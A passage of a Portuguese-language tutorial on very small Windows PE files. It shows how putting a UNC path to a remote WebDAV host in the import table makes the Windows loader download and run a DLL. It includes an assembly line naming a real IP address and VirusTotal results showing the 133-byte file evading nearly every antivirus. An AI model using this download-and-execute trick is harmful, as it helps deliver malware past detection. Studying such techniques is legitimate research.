Mais interessante ainda é o fato de nós podermos especificar o caminho CNU na tabela de importações do arquivo PE. Se nós especificarmos "\\66.93.68.6\z" como o nome da DLL importada, o Windows Loader tentará baixar o arquivo DLL do nosso servidor.

Isso nos permite criar um executável que baixa e executa um arquivo da internet sem passar por nenhuma linha de código. Tudo o que nós temos que fazer é criar um código na função DllMain da DLL, fazer o upload dessa DLL em um servidor WebDAV público e especificar o caminho CNU para a DLL na tabela de importações do arquivo PE. Quando o loader processa a tabela de importações, ele carregará a DLL do servidor WebDAV e irá executar a função DllMain.


;
; The DLL name should be at most 16 bytes, including the null terminator
;

dllname:
    db "\\66.93.68.6\z", 0
    times 16-($-dllname) db 0

O tamanho do arquivo PE com a CNU continua sendo 133 bytes, já que não adicionamos nenhuma linha de código..

AVISO: Esse arquivo PE é ativo. Ele tentará baixar e executar uma DLL do endereço http://66.93.68.6/z. A DLL exeibirá uma mensagem de texto e posteriormente terminará a execução.

tiny.asm | tiny.exe | Makefile

Configurar um servidor Apache ou ISS como WebDAV não é complicado, mas por questões de estudo você pode utilizaro seguinte script em Ruby. Ele servirá como um mini servidor WebDAV, suficiente para o que nós precisamos.

webdav.rb

A DLL e o seu código fonte também está disponível:


payload.c | payload.dll | test.c | tiny.exe | Makefile

Resultados obtidos no VirusTotal

Um scan no arquivo de 133 bytes mostra que os anti-vírus mais comuns não verificam pela presença de caminhos CNU, tornando baixa a taxa de detecção desses arquivos. Já foram feitas sugestões aos criadores dos AV e alguns já passaram a utilizar a CNU como uma forma de heurística. Por curiosidade, a tabela abaixo mostra a taxa de detecção;

Teste completo do "tiny.exe", recebido no VirusTotal no dia 11.08.2006, 07:14:08 (CET).

AntivirusVersionUpdateResult
AntiVir7.2.0.3911.07.2006no virus found
Authentium4.93.811.07.2006no virus found
Avast4.7.892.011.07.2006no virus found
AVG38611.07.2006no virus found
BitDefender7.211.08.2006no virus found
CAT-QuickHeal8.0011.07.2006(Suspicious) - DNAScan
ClamAVdevel-2006042611.07.2006no virus found
DrWeb4.3311.08.2006no virus found
eTrust-InoculateIT23.73.4911.08.2006no virus found
eTrust-Vet30.3.318111.07.2006no virus found
Ewido4.011.07.2006no virus found
Fortinet2.82.0.011.08.2006no virus found
F-Prot3.16f11.07.2006no virus found
F-Prot44.2.1.2911.07.2006no virus found
Ikarus0.2.65.011.07.2006no virus found
Kaspersky4.0.2.2411.08.2006no virus found
McAfee489011.07.2006no virus found
Microsoft1.1609 11.08.2006no virus found
NOD32v21.185811.07.2006no virus found
Norman5.80.0211.07.2006no virus found
Panda9.0.0.411.07.2006no virus found
Sophos4.11.011.07.2006no virus found
TheHacker6.0.1.11411.08.2006no virus found
UNA1.8311.07.2006no virus found
VBA323.11.111.07.2006no virus found
VirusBuster4.3.15:911.07.2006no virus found
Additional Information
File size: 133 bytes
MD5: a6d732dd4b460000151a5f3cb448a4be
SHA1: 3bdd0363204f3db7d0e15af2a64081ce04e57533